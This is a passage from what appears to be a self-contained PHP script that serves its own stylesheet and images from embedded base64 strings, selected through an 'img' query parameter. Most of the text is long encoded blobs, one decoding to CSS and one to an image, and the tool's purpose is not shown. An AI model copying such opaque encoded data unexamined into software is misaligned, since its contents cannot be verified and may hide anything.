yBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xNiIpIDE1cHggN3B4IG5vLXJlcGVhdDsgZm9udDo4NSUvMS4yICJ0YWhvbWEiLHNhbnMtc2VyaWY7IGZvbnQtd2VpZ2h0Om5vcm1hbDt9DQojY29udGVudCBoMSB7bWFyZ2luOjA7IHBhZGRpbmc6MTBweCAxNXB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz00IikgMCAwIHJlcGVhdC14OyBsZXR0ZXItc3BhY2luZzotMXB4O30NCiNjb250ZW50IC5jb2w1MCB7ZmxvYXQ6bGVmdDsgd2lkdGg6NDklO30NCiNjb250ZW50IC5jb2wzMyB7ZmxvYXQ6bGVmdDsgd2lkdGg6MzIlO30NCiNjb250ZW50IC5jb2wzMy5jZW50ZXIge3BhZGRpbmc6MCAyJTt9DQojY29udGVudCAudGFicyB7bWFyZ2luOjE1cHggMDt9DQojY29udGVudCAudGFicyB1bCB7bWFyZ2luOjA7IHBhZGRpbmc6MDsgbGlzdC1zdHlsZS10eXBlOm5vbmU7fQ0KI2NvbnRlbnQgLnRhYnMgdWwgbGkge2Rpc3BsYXk6aW5saW5lOyBtYXJnaW46MDsgcGFkZGluZzowO30NCiNjb250ZW50IC50YWJzIGEge2Zsb2F0OmxlZnQ7IG1hcmdpbi1yaWdodDozcHg7IHBhZGRpbmctbGVmdDo0cHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTE5IikgMCAtMTAwcHggbm8tcmVwZWF0OyB0ZXh0LWRlY29yYXRpb246bm9uZTt9DQojY29udGVudCAudGFicyBhIHNwYW4ge2Zsb2F0OmxlZnQ7IGRpc3BsYXk6YmxvY2s7IHBhZGRpbmc6OHB4IDE1cHggNnB4IDExcHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTIwIikgMTAwJSAtMTAwcHggbm8tcmVwZWF0O30NCiNjb250ZW50IC50YWJzIGE6aG92ZXIsIC50YWJzIGE6aG92ZXIgc3BhbiB7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQojY29udGVudCAudGFicyAudWktdGFicy1zZWxlY3RlZCBhIHtiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xOSIpIDAgMCBuby1yZXBlYXQ7IGZvbnQtd2VpZ2h0OmJvbGQ7fQ0KI2NvbnRlbnQgLnRhYnMgLnVpLXRhYnMtc2VsZWN0ZWQgYSBzcGFuICB7YmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjAiKSAxMDAlIDAgbm8tcmVwZWF0O30NCiNjb250ZW50IC50YWJzIC51aS10YWJzLXNlbGVjdGVkIGE6aG92ZXIsICNjb250ZW50IC50YWJzIC51aS10YWJzLXNlbGVjdGVkIGE6aG92ZXIgc3BhbiB7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KI2NvbnRlbnQgLnVpLXRhYnMtaGlkZSB7ZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O30NCi5pbnB1dC10ZXh0IHtwYWRkaW5nOjNweDsgZm9udDoxMDAlLzEuNSAiYXJpYWwiLCBzYW5zLXNlcmlmO30NCi5pbnB1dC10ZXh0LTAyIHtwYWRkaW5nOjVweDsgZm9udDoxNDAlLzEuNSAiYXJpYWwiLCBzYW5zLXNlcmlmO30NCi5pbnB1dC1zdWJtaXQge3BhZGRpbmc6NXB4OyBmb250LXNpemU6MTIwJTt9DQouaW5wdXQtc3VibWl0LTAyIHtwYWRkaW5nOjFweDsgZm9udC1zaXplOjEwMCU7fQ0KLm1zZyB7cGFkZGluZzoxMHB4OyBwYWRkaW5nLWxlZnQ6MzVweDt9DQoubXNnLndhcm5pbmcge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTEwIikgMTBweCA1MCUgbm8tcmVwZWF0O30NCi5tc2cuaW5mbyB7YmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9OSIpIDEwcHggNTAlIG5vLXJlcGVhdDt9DQoubXNnLmRvbmUge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTgiKSAxMHB4IDUwJSBuby1yZXBlYXQ7fQ0KLm1zZy5lcnJvciB7YmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9NyIpIDEwcHggNTAlIG5vLXJlcGVhdDt9DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpGT05UIFNUWUxFUw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KLmJpZ2dlciB7Zm9udC1zaXplOjEyMCU7fQ0KLnNtYWxsZXIge2ZvbnQ6ODUlLzEuMiAidGFob21hIixzYW5zLXNlcmlmO30NCg0KLyogVGhpcyBsaW5lIGNhbiBiZSBkZWxldGVkICovDQoudGl0IHtwYWRkaW5nOjEwcHg7IGJhY2tncm91bmQ6I2Y1ZjVmNTt9IC50YWcge2JhY2tncm91bmQ6I2ZmYTt9DQo=')));
  26. exit;
  27. }
  28. if ($_GET['img']=="0"){
  29. header("Content-Type: image/gif");
  30. echo (base64_decode('iVBORw0KGgoAAAANSUhEUgAAAg0AAAB0CAYAAAAGqgG0AAAgAElEQVR4nOy9e3RV13Uv/OvW4Zirq6pcBpcSQimXEkIJpQTLgDEIA4LIBgORkTA25hGFR+QIA5Yqq8QwkKsLKrKwUS3LxgSEMRjxMA9jKyAelrEKhDgYE0IIoYSPUkr5+LgaDC4cac75/THX5uyzzz4PgWycRHOMPc4+a6/3Y6655mv92fjHH0crtEIrtEIrtEIrtEIssO53BVqhFVqhFVqhFe4XFC9b1qF42bJ297sefyjwtSUaioqL597vOtwPKCou7nC/63A3UFRc3P5+16EVWqEVWqG5QERtich/v+vxhwK++12BSEDM6+53He4HLFq48Or9rkM8sPjll7sBmADgFICLxHx98csvd1ny0ksX72/NWuFPDRa//LJvyUsvNd3verTCHyYQ8xUAife7Hn8o8GetOg1/PLBoyZJuRYsXn/8KymkL4N8AXIVyq6oAvA3AD4CLFi++8hXUwQIwxdThgqnHMwDe+Cr64I8dFi1Z4i9avDjgCksqWrz4xldUvg9AYtHixQ2LlixJLFq8+OaiJUsWAThRtHjxdke8qQD+pmjx4sVfRb1aoRX+1OFPimhYuGjRAACDAVwHcAhAoLio6EIL5u9kcbUH0MU8XQH8JYLioE+Ki4o+jJDHPAArXMHPFhcVrV+4aFEnAIsBtDP5BgA0ADgP4BaAFwHUFBcVPebI61BxUdGxe29dSB07APhPADsBJAPIB3ACwNPFRUUtyiFauGhRHwCXAKQAmA/gCoBd0DYPhvZrVXFR0RlTLx+A3sVFRftbsh5/SrBw0aL2AD4HMLO4qKjGhI0F0FRcVFSzcNGiEgAZJvolAJOKi4ou30U5vQBcLC4quuEIyykuKqpYuGhRKoDZ0PldBeA16Jj/CsBDALYC6AhdAzuLi4rO3VVjW+FPAhYuWuQrLir6o+NGLVy0KBlAn+KiovqvqsyvPdHw4sKFXQAElhUX39Xp9cWFC3stKy4+7RHeDkDDsuJivtc6mvz6APgiwuebCGV/1S0rLh4WIZ+eAH7jCDoL4NtQguPnALoBeAXAy66kVwAchhIcdVCEuhrA+GXFxc1eLC8uXFgMYDSAGwBG2XmY8fiFyf84gNnLiouPmm9ToWP1XnPLc5TrA/A0lGswGEqMvALgEQCpADoD2A7dLF4HkA7gJLRP2VHHSwB6LCsuPvPiwoV+AP5lxcVfySnZC0y7+pqnI4CDANIcUf4cQFsAL93Petpg+ux3UCL1PQBTlhUXv2W+/R5KCL8AYCCAPsuKi7/TzPxnAcgEcBrAC8uKiwMmfASAU8uKiy+/uHDhz6HE4mQo4dAAoAOAPVAC4gfQ/lp2b61thT92eHHhwk8BHF9WXPycK7wvzGFuWXHx8ftRt5YGs3a7AGgCMBbAB9CD5uW73Ued8KXoNOQXFr4JXdA2MHRDew7AJ9BBSgRwZvnSpVGRDTFfB9CUX1joB/ARgI8BPA/g+8uXLq1zlWstX7qU8wsLpwOYvXzp0oedBEN+YWF/KBK6RswXALTYCZyYbUXAk1CE5kPwJHQRwKNQhAfHbxgsKy4+k19YuB7KegeAKtOmPAD9oIjzu44k56GERHsAy5cvXXoov7CwBMBLy5cuHZNfWJhs0jS3Pb8E8I9QwmB0fmFhZwDrlhUXX8wvLHwZQLmpzx0W9rLi4nX5hYWboJtMsyG/sHAsMb8O5QSNMu36GEAugCEA/jeA/1i+dGllfmHh6wBmAtgI5XT0yi8s/AaAIcTcAGAVgBn5hYWXibkHgMv5hYVboXPuzN3U7y7bZAHYRcwroPP2UQBJHlG3AegB4D/zCwvHA/gRdNFj+dKlJ+Mo59HlS5cebKFqg5j3QhHPw1DC8ZwpZwQxd4VytjYAeMyuZ7yQX1iYbMbZZ/K+Q7gvKy7en19Y+JP8wsL/TcwfQvGGBeAodA5cAtAHStDuWb50aSvB0AoxYVlx8SNmLd6B/MLCrsT8HHQvej+/sLDt8qVLD3/VdbP3rXtInwSgF4BJAJqI+dfQwyND957l0D2gU35h4Qnooatq+dKld8WdCyEa8goK/ACmAvgWlD1ZbT4NgZ4sDpeWlMREuML8W5P3ZQAvQU/a3wcwDkA9dDNNAdA5r6BgcGlJSUTWyvKlS2/kFRS0B7AbwCAAI6DKd+PzCgrGA3iptKTkZl5BwVRh/n5eQcFeYV5r4rjrNQ2A0yqjFro5Odv/GoDi0pKSZin0CfNNqGz9MoDeALojlMOwForoGqCUX7S8PkeQaHgur6DgYWFOAXAGupH2ckRva359AH6WV1DwreVLlxY48krLKyj4sLSk5Fa8bckrKBggzEPN3/YAFkJP/e3yCgpeFeZvOaIX5xUUnCwtKSkw5S2MtxxHeUkAVgnzUyaoK5RQSAZwDbrRAsBEAL3zCgomCfM1aH8+ZeI/DV0gXUzcCdAN6W3o6f46lLgogfajXXYn6KbUq7Sk5J5FGnkFBYkA+pSWlBwFgOVLl3JeQcETpSUlDKA2r6BgBXQO93UkOwUd014Alpqw5VDC4eO8goIlAC6VlpR4zpu8goJkYW5RBVphToT2WT8A+0pLSmpN+I+gY7IBOj5DAATyCgrSS0tKakx92kabb8IcgCK0QuiYtIWOlf19GXT8jkA5EYOhnKdfQNfny1AiZlILNrkV/shBWPflvIKCrNKSkmphngAVd70MnecHoUTqV12vvLyCglKDI6JCXkFBfwAzoLgvAOCmMHeG7jv9ECTg7X3BMu/2PmRzO3+SV1BQDeD50pKSZnEffPPz8pYCGADgBhH1gyJgG4ZDF/ZiKOL+blgOHkBEW6BIb9KK0tK6+Xl5K6AL/haAntATFaCb7Gex8istKbk2Py/PiYTOA3gcimSfmp+X973SkpJ1ANbNz8sbAWD6itLSCo96LQXwYwR1C/rPz8vLgSGOiGiFyTPgThsLiCgR2nflUGIhG4C9CXUCcAB6SuoJ4P91pp2fl+cz7bkKoIGI8h2fO5lvgG6KF6CsJud3G9pCuRiX7IDSkpJtd9GW2VBO0TnoZOxmPs2EEoHJ5v9l6El/2Py8vA4rSkuvlpaUnG1OWfPz8noR0Q5ov9htSwbwExPFuZBsYulRR5jz1N4FoXB8RWnp/Pl5eelQ4uIYgG7z8/JehBKLHYmoN3Q+dZ+fl7cBwMwVpaU3m9MGR1sGEdH7ADrOz8vbDt1c3y8tKbmjv0JEVdA56ITejveVUMI2BTpP9wP4GwDl8/PyjgHIXFFaesmU1w/ALSJKWVFauv5u6hwJiGgrlIDxQ0VD75nwz6Esz2vQzdwHnXfPA6gxcdLm5+XxitJST70dIrLb+R6AAgA/BPCq47sPwN8DWAOd88Um/yQAS6Dra8yK0tLrLdnmVvjjhfl5eW2JqMf8vLw+pSUl783Py+tKRKehh6LrUO5Ve+hhpaXKTAIwC8AHK0pLIx62S0tK/jnOvN4lonFQ8fN4AL+E7lXJUNx3GcH94Kj5ZpnfR11ZWlCcOGB+Xt7frygtjVsk6iPmsdDT72QAOxBKNEyAyi3tk0AvKLs6IsxdsOBxYn7D/D0GAMScBN1cFkJPet8GsADA7JVlZXGdgIn5fWjDd64sKxs/d8GCcQDeh8q4j8xdsOAlAOeIeRMUsTjr1B4AE/MIBAkGhm6Kr0M3ekaQ85IGPUnFDcR39ra/hSK3/uaxIQPKwekMpRSdadtDN82N0L6O5D/jHHRSPA9F6KNd3y2osuAMNAPmLljwFIDDK8vKzs9dsGA1MadBT+OXoByTzlDk3RPAh9BxOAudD9+BEirXmlOmKTeNmLciSIR09YhmRXiPB/rOXbDgZ8RsExsp5nFDd/P7NIBucxcsGBnvvLRh7oIF48zcsyn8EVBdjFpnPGK2EF0saHPC2gH4GXQMriF44j4yd8GCUSvLyk4T80Yoq/E/5i5Y4F9ZVtZsYjcSEPMh89oZDoRDzPlQ4n8XdDzstiQ64hyEcgVDG7ZgQU/z/SKAd6Frrx0Uad+BFaWltwAsNms8A8phqoAixg8AvLuyrCxMT6kVWsEGM9d6QsXFt4iZoYeSd+YuWHCWmD9CUExsK/F2nrtgQf+VZWUxD7KusjqvLCu75A43YrxiAC/NXbBgHYBfrSwre+su2tLJiAv7QAmA3qZt1xF6aGyA7guvQbkOP4Li51vQvWMC9ND3XSgnuy0U9xXMXbCgZGVZWVyEgyXMx4V5gDCzMJ8Q5lPCDPN0EOaPhXmTMF8W5idiZSjMDwtzV5M+NXfevCRhHiLMN4R5nDC/JsxZwtwkSkzEBcJ8SJg3iHYeVpaV7RTmV005icL8ijC/L8x+YX7JTpc7b15fYf69MP+XMC93tI0d9bSE+ZrjW7zVctbPfn5g2gfTnx8K8wVTx/yVZWXHhDnEPGxlWdmVlWVlpSaO5cgr4KrXDmG+atrR2xF+VJgvmfdxufPm/UPuvHlxa7gK83dFNzMIc5oZ6yRhTjV9dMn0K4S5u6lnX9O+6cLcX5gH5c6b1ylWWTbkzps3Tph3C3Oys99b+EkW5tHNTMPCXBz/yAO58+Y9LsxbhbmtI59nV5aV/ZN7IxfmH8VZj6vC/IwwLxTmucLcy8yHLsL8ae68ef3N3BiwsqxsZUsSDKaeHSWIA9o6wk8J88GVZWXHVpaVHRXmbabP7ug1rCwru7GyrCyEWMqdNy9ZmBcL86OmDc8L80ZTxhO58+aFOdcxa/y7wuwT5jnC/JkwL11ZVnawJdvaCn98IMwzhHmXMH8qzFdXlpVdMbjrtDB/Yua1vdY6Od6bZRmQO2/eamH+99x58zZ61GGwwQmfGZz9dnPbYdbNAWHuY+rnN3Xf4ao3DD74qcETDcJ8Rph/a8reJMw7TdqNwlxv1vJKUVxfmDtvXtvYNQJ8RPQLKNXxtPl9GEqNTDRx+pnnCoBfx8qQiAY4/r4MpY58UNYPoByLzlDq5/2c3NxKAJsrysuPRsu3/NVXP8vJzX0NwI2c3Nx+AM4T0S7oKciCsiwHe9THZmvClHsVSmHaioqAUqN9zPtnAKbl5OYeqigvj9sc07BcbWBof/WFUoZ7oKygeTm5uf9ORLcA/EuMPABlDd+E9t0FKEu9O/TE5RRRJJq2wcQtgeqOeLKHPcrtbeoLIjqDoFZ/BYA5Ju/LUNl7d0dS+9S+AXqqbg/lIkWFnNzcdCLabNr3dYMhaAaLMic3tycRbYLOwT0A3gHwrYry8jD9g5zc3DQiesodbuA0lBPXAWpVYLNN20HngNuc912odcyZnNzceRXl5a+ihSAnN7c/ETl1es7m5Ob6AICI6hHkDKH81VefzMnN/Tc4RGKOfDqbNpUb0V86dP60hZ6WbM5SogkLmHRdAXSrKC+vI6L5ULzkB3Ciory81bSyFWICEf3evH5QUV7eZMImQfEwoLJ/L47fGAD/FE8ZObm5FhFNN3+fysnNnV1RXt5gvvmJaCF0LzgLxQtNObm5LwA4V1FeHtepnoheQ6gOWzQYBOXgF0CNDvpAcVkJlFuZCF27tuTAD90br0K5FHPgEBNGAouIjhPRCSJ6jogqKsrLTxDRs0S0n4hgnhtENIqIbs3OyekcLUMiSiGik0T0qnlvS0RXiKidyesCEfmIaL15zyOi3Nk5OX2j5Ts7JyeHiHYR0WUimkFEU4loMhEVVJSXf5eIZjvqu9hRnx6O8AYiSnT8t5+Ojvf+RPSz5hAMppw7ZRPRQiLqZP6nEFE/IjpIRMuI6K+I6InZOTlhbHKPeoGIupg2g4jGEdEtIiogonozLiCiPh7p+s3OyYmLnW/6aNDsnJwkIkoy6ZuIKIeILCJaSUTHiCifiN7zKOsAEW0kovI4xrEfEW0lIn+E9n6ZzyUiuhhHvK2zc3J+PjsnJzWOvnvH9NkzFeXl36soL19fUV4e5mhodk6On4j2OvrXfo4RUQURPVxRXr6torz8rYry8lFEtJl0TZ43j888droORFRfUV6+k4iaJUqLo01LTF/BzL10IionouUmbLc9lrNzcuaSrqn3PfKZaObQFyaPG0R0ioi+QbpGhpj8bhLRVHtNEFF3IsqfnZNjEdEcE+cUEbnNjFuhFTyBiKaZtf5LR5j9XKUgTnU/KbNzcuK6h6KivJyJaJtJd4iIus/Oyeluysohoq5mfc8iogFElEZEnxORW6fJE2bn5PiI6GmT/zWPujYR0TOub0uIaIXBM5cqysu/Q0Q1RNSNdJ9ra+IlkeLgrkTU2ayvh+Kpl8XMx5kZzPwBM++aOWdOF2aexcxLTDiYuYmZ9zLzC8wcdpq3YeacOT2YuT0z92bmT5i5wTwHmdli5peY+V1mvsbMc0zc88w8hVVWGhGYuZ6ZO5r0bzJzJTOnsxFxvFlRcZKZTzLzzDcrKv7ZkW6Nox2JzOx3/LefjqxwwfxvtqMaR17fZ+bvuvJPYeaxzPwiM89l5tHMnBwlj6vmuWj+d2LmrszcjpkHMPMqU2e/I477SWTmPl51dY1ZR2buwsy7mfn/YeZBJv0/M/N8Zg4wcw4zp5k40z3KeoaZX2PmcmZePXPOnFcilJXIzJtN3bzqHO/T5BF2wSPsCjPXuNJ18YjHrv/dzZhF3aRmzpmTYcbjCjN3MmGeLD5m9rHOe2c5DczcmZlfe7Oi4ror/ofM/KkZ+97M/J6rnh2YeffMOXOS2YiWWgpMecnMfNOUD9b1msS6hutNvB+Zce/IaubqzmeP6RufyWM8My83Y9COmTeYMpLM3Ok5c86cdsw83NRhjumjt5n5e29WVNyVgmor/OkBM59h3XMuOcL+rwNXeOEBe52mRcvbhplz5nR/s6Iik5n/4s2KiqGsuJJNWVfMeh3AQXxsl/HSzDlzups8ymfOmfO4eZ8yc86cO8rcb1ZUNDHzSFZcfNmjrhVvVlRsMOsqYJ5aZi41eO+ZmXPmLDI4Jho+7cTMTzFz1sw5cx6N1W5rVWXldbOA+6yqrKxj5jcMYnjFkek5gxg6MXNECwqDFGebwdpqEI+PmduaDvwLx3eY327mPUxxypX3CBMvnZnfWFVZGWDmdcz8TvasWYtMnAdXVVaGyI1WVVauNZ2639TFRmDux2LdmGHGvVngyKcfM/dl5i3MfMsM5HzH9+3MXOFVhvl+mpnXmkkfaWKDmXuaiXmClcDwijPAo6ruMseyIm2/mQd22v5mrJrM2DVEqcujjvcUVgUgr7LmMXOPGBM41nOSmb/h0eauHnE7mvkSLQ5MH4KVMAXrAj3OzL7sWbPyovTdbEc5L2fPmvUaM3uKXFg3xfasm/9BM8b7Wedj2MnGjEW2GQewrqW1ZhwCJqyd6dMWvaGPlSDpy8yHTR3tfvpiVWXlTWZulz1rlp+DaxfM3N8jnzMcRJ5XmPllVuJzHCtye4cVN+w1Y/AuM09YVVm5mJmnMfPfMfOHqyorZ66qrGy906QV4gZWYrYzM9/InjWriwn7pmPdRMMxo2Llnz1rVjs2xPqqysoG83tqVWXl+exZs5JZ91EfK+EM1sPdUYO3Mpn59exZs7oz89PMvCR71qxBrIfhkMPkqsrKQ6sqKwtWVVZ+h5kHsh4mYPL5InvWrLZmHT7MzH+5qrJy1KrKyvxVlZUzmHkyMz/EzEMitNOJQ/1mnYatYzf4AICJagF0m5GdvYqJxppvToctzoyc5mGhA0XUA8A3XcGJUN2BWqjDnQ5QGQqgJldPme+dZ2Rnd1izenWYvfmM7GwfE73kCBo8Izt7ERM1QmWpswEUrX7rLU9lMCa6DNVmd8N6qC7HPZ/UOFQfwba5t8GpWDcBqs+xwyOPa1DdhSyEWhJcQ1AnxJZzw/z6oDoFSVCPiT0c6R6C+imIVu+RET6lO94boNYTHSPEPWy+M9S/h6fDHVZdjkpTz/YI1fwFVKZ9FUH9DC+4AZ1DSVBT2c1QfYCACesIleWNMeU4x/YctO/tOWybKNljdQLa12MddRswIzt7y5rVq897tMdJlCVBZYJvwsNHCBM1QOWL7znn+Izs7C4w+iSu+CVQGeVnUFPGHVDLHDeH6gkApe709wJMdAXAg1BdirGOT5NnZGdfYaInoHLaIdAxXwkPHR1WNuxn0PHoCJWhlgDYtmb16uszsrOPmfS2hvcVqIfJtavfeuvQjOzsy2tWr26WCe+9wIzs7CSoLtd3oXOsA4ADa1avXuaIY61ZvTqM4r+XtK3Q8rD6rbc+m5GdfRy6jxUDmMZESVBT+AcB5JioXroNbqs0r/yvw2X1YwMTPY3gOu0BxWlnofp3NeY9Derl9Kh5fxO6V4YRxzOysycC2LP6rbeOzsjO3gfdj7esWb367RnZ2b8CEFizenXYYX71W2/xjOzsGVAPw85biG29vg4I4sA68/twrLbbyk0XoaZNp6CI9SwUOWd4pOkZKTMiegNB5xhXTUUyzHt3KOI4b94bECQoAEUeg+Dh+IiIRiBU8c8Hl1nl1OnTV61bu3ZmhHpFEqk8Dm1nmKiguUDhSoxOsM3RrkDb2xah7bHzOInghL0M7aPD0P6yveGdMfXtCUXCm9atXftTQPsAoURDTE4DEUWT2zdAkf5gKNHXAeFmkaegm3wAwD4AH65buzYMMU6dPt0i9WXxMbT9PUw7zkHNeNtBFfsuQzd8m7jqjuAYXYfOkXwA31q3dm2k02cNgNKp06cPhpqgfmTSn4LOyWRT/nNQotUWKUxAOCHjM+U95woHER00aY5DlYXXQgnY591x16xePd+romtWrw5pw9Tp0y0AqUT0pmmrrXi6HEpQusH259BiQETnoHPnOIIKjjcBTINujLYL6X+AjtHCdWvX3jR1x7q1a9mM9/dM2gB0rtpzN23q9OlbiegqdH5NdxR/h+NIREOguOgrAVIb+DVQIvQNqFLvc1OnT/9b6FroSUSHp06f/jMAvex1d69pW+HLASJ6DOoKvdb87w5dr05R2nWEe+jtNnX69O7r1q69K6VbUoVLQPe0C9C1M8iU64c6LbMPMOegOKYvgOfWrV0bJuYjos4ACqdOn15MRH8NxWmzp06f/jMi6oAoB8M1q1dfnTp9+joA8xzBzvZeQ6gvoJh7oXIaRH4BRdrToZ7X5kM79xLCT3094AFTpk1rxyL9oRrkgG7qf2Xe7U2iAdpRAPAkdJOog1prdEbQiVAIsIhTuc7pwMKGfESxfWeRSKad7SOENxtYJJ5oTgLJKw8nF+cogv4Y7E2ts3kYeiruB2MZMmXatHQWcZ4KAaD3lGnT/Ourqjw5MFOmTevKIm6HSE5YC90cxppfL7FDNyhRdAtAGzi8LbralgGl8rtBN6MT0I0pGXrSP2XauRxqzZIEHWs/9DSQaNo9fn1V1c4odb4D69aurYdakbjBPtXWT5k2bR90HgLh8wpQInfKlGnTXlhfVXXHd8OUadOWs8gE87ef+Z0F4MaUadPynX0+Zdq09gA6r6+qiukOmkUWQPvAniN2GRb0xH4R2i89EPRx0B4Oj4r3CixyAnoS2w31A5EKYOT6qqorU6ZN2w518nUFeulbGoCFU6ZN+zWL7LTrwSKvQ32/9IeOb3eEErEZ0HGoRehpr8+UadMGAzi5bu3atS3VpnjArOHq9VVVk6ZMmzYHwdOobUkWgCL5Uwjlvt5T2lb4coBFOkDxxjXz/zB083beA+Q+vF0zYWkAmu1TYcq0ae1ZZIj5ayHo46QOSgBPhc6DeqhVkFN/wtOrK4vYe+pcAL+HOlu0uaPHEH7BoTv9pwglGgBdp7bPBycsj5YXYE4oTHSKiWCeAiYazETrmeiGI9x+/E9PmRK20TBRivnuYyJmou8z0VwTdomJzjBREhP1NmFPMFFXJnp3fVVVnQl70p3v01OmdGOivzF5zmSi9zzqNJzVi5x3pxHd8kgT9WkuxJHnGSb6KRM9y0R/ub6qqtojjw4m7jUmury+quo8E11w9K39WExUb94ffHrKlLFM9D4TdXKPFauXz0h1Hhylvh8y0QtMVMJEw5hoSIR4iea33ox9GGvv6SlTkpgom4namvZ0YKK+TNRg2pJo3teYcgYx0Soz/952jP234iUY4oX1VVU/ZaLjUfqhGxMlM1GI/TYTdY8QP4lDxRZYX1V1LR6CweT7HhNtMW2+xEQ3zW8+E/3V+qqqv2KiUUz0P5loIBOt4FDzyHsGJko1Y/LXTJTDRH1YOR9gorNM1I6J+jHRZCZqYqIFTDR7fVVVw/qqKn56ypQfM1EGE/2Qid5xzJGzTHTZvDeZNuYz0UpH//mYqCcTxe3zowXbfZGJlpv3D5loPuu6TWSigKnfWCb6TyYa3lJpW+HLgfVVVSfNfFNCVtcxu9brOSaqY6L/bnDTj5joW6ym580GM8Y+D7yQykQ/YN2Llhg854zHrJxLr3acZsWfI5noFSbq5Uj3/fVVVVFdyLP3Pp7ERJlmHTrDfxSrjbZ44jyC9yaMAvBbqKw/0kbcHS7ZCwUR5Qgo9bMVQT0CH/TE5mSjboSeJhNNevuOihAgondNugaoDoRtZdEAPQVNhcrfd0VqpGGLf6ngEE/cgJ62T0Ll++ehpzLbl0LbTRs3eg6yyeMY9DTeMGny5C+IKJIFxOfmd6p5IsEAKNfCq7xo8qsR0OuvkxBDL8JAMnRObJ00efJ/27Rx452TNukG0A2qg/A7KAs3CXrCXAUdS1sUcwLAp9D5sQzKBVgIoNOmjRub7XUyHiCi1VCvoDZcgHKFTkD77ghcHAsyiCgCDICewpsNG9avvwggc9LkyW2hfXYLOv+vA1g+afJkH6lsdgl0riRBdWDu+mZRNxCRl7hjwqTJk9sbcdYlKKfwV9C1fc3UE5MmT25HalteA/XdAQT1oxZDbcgvmrB2Jq9x5vtJqNjt3KaNG7+yS8Vs2LB+fR0ATJo8eZ5ZG8+ZOgOhekT2vRktkrYVvjwgou2O92TovLP1nwAgf9PGjTsBYNLkyWegdyT1ArBw0uTJwzZt3Nisu63We9sAACAASURBVCiIaEyETx+afDtBxVhufYiDmzZujHgHxIb16/NNHXtDfbT0gXIvpiCCDpmjTpG4yRbUe3AVgi7rw5xUucEHAJs2bmyamJX1d1CWWldoh3oRDGwy72Yq7KyYzbrtbwr/huNz5y3V1bcmZmUdgrI6Ab3tsh5A+sSsrP9hEFWYYolBzqOhBMVeBFl7xxEUL6wEMH5iVtb6LdXVYcg8BoJvESCiw1CnPD0A/B2U7TPW1NF5cdWNiVlZ+QBe21JdXeHK4wR0UnWAEgKRFA8B7SvnBU1OOIegLDyi7S0RRbNYaWueBkSXcx2FIsMM81zeUl0dIg4hVa7dDx3zZ6DiqL/eUl19c2JW1kPQfpoI3awZSiRsgc7F+dCNJKY30rsFIvoAKgb6DKr/UAmgYUt1dUSlNVKHTpGItUkTs7KqAXTZUl19eGJW1hBoP3XZUl0dl5x008aNt6DEFSZmZT0FAFuqq7M9ou43cXpvqa4OU8C8G3AQwM72MXQs/gEqMrIQlI1uB/DaxKysLkYXww0+KL6ogyI8+/a9E9C1cQbAhS3V1SMnZmUlea3hrwImZmX1ATCZiF409RsCbesNhN9MOhZAWUukbYUvD0jvUBlv3ldAxROvARgKHZtEAJiYlTXV6M7ZYlIfVLcqbqJhYlaWRR6cVgMdoDj5OpRwuYXgDcWArouYsGnjxlMTs7IeBuDfUl0d1+3FRBTJGmTYlurqlyZmZbWH9knnLdXVMQ+IdwgDERkNXdQfIajY9SqARY74/2T+d3NnJCI2wregSN5prdDFxNkM3VTPQQfM1tBfYOrS68nMzHFbN2/e6cj3FJRo8EOVvnwADm3dvHnYk5mZGdBJMA86GB89mZk5fOvmzSFX9YpIiyqKeYGIpEM1+b3AWZ8kaP+EEWWiuhvnodyU/wlF0HafOuGkCTsDb6LBKafzVIZ8MjPTLyIRRRcOqIVu9lMifL+OUOXYkL5/MjOzk4iUQMcvB0HN3S+ezMyEiHR35ZMK3UiOmrp/CODZrZs3t6ibZCdsqa4+D+DPm5NGRCJ5aQtAx2UqgLonMzMXicgz0HHs+WRm5h4o9+SDrZs3x7zf4snMzGQR2Rar/S1FMACABPVznJudBb1ErBCqm9ILQUTXsHXz5lNPZmZWIahQ5XbHmwvVhbgJ1V5vj+BdKtdgdCHuF8HwZGamJaqT9Y/Qudfd1DcR4Vd/W9BNp+xe07bClwsichAGP4lIA9RL8XXoJmlfAIgt1dXrnszM3LB18+amJzMzu0Px0FjoAScMnszMTIQqfr+ydfPmLSb/AfBQcIdyHY9CD0GdoMr+yVAOdDfomggTV0eCLdXVtxDUDYwKT2ZmdhMRm5N3FUGLu1tQwhZbqqtXPpmZad89FRPubFyk5pKboI1LNZl2RRDJn4QSDE1wuYydkJHRlohmIqiU5VSevGNCZ8Qg16DcAie714mcngdwh2ggvRVwril3LdSsre+EjIzPicipIHnVdELINbsmj0gdfAp6SvpHV/hrEzIybDPJZ6EI/w2T9zXz3ARwavu2bYtNGdHuK/A6qYcRDUZrnaFI+XVTRgPCFfR6AhiGyKaJTgXPnhMyMpK2b9vm7pN+iO7GuQ46D/YiqIjpBVHNk4go3VHONahy7DsIKojZ8DKUUzPIxP8hdA72gW6yzbq+9csGo8XsBU0Afg5VTroCXTs3ECT+0s1za0JGxgkoO9S3fds2Tw+kWzdvjus00ZIQwRLoInQevw3ge9B2/QWUSOo5ISNjl0NEeQU61j2h3JsUqHb4dAA/3b5t22kAmJCRsQoqBr0AoOOEjIx89zz9qsBwOm3i/HWomLYHFKedhscFXBMyMtpt37bt+r2kbel2tEIomANkBXDnSoEOUGL3qHuu2YdNIuoJxaHtJ2RkdN6+bVuYi/StmzffnJCRMR6OG5EjcBk2bN+27RkAmJCRsQkq6nQrrG/5Mub9hIyMJFJ3/Tb+dlpNNAE4NyEjoxzATVKdwO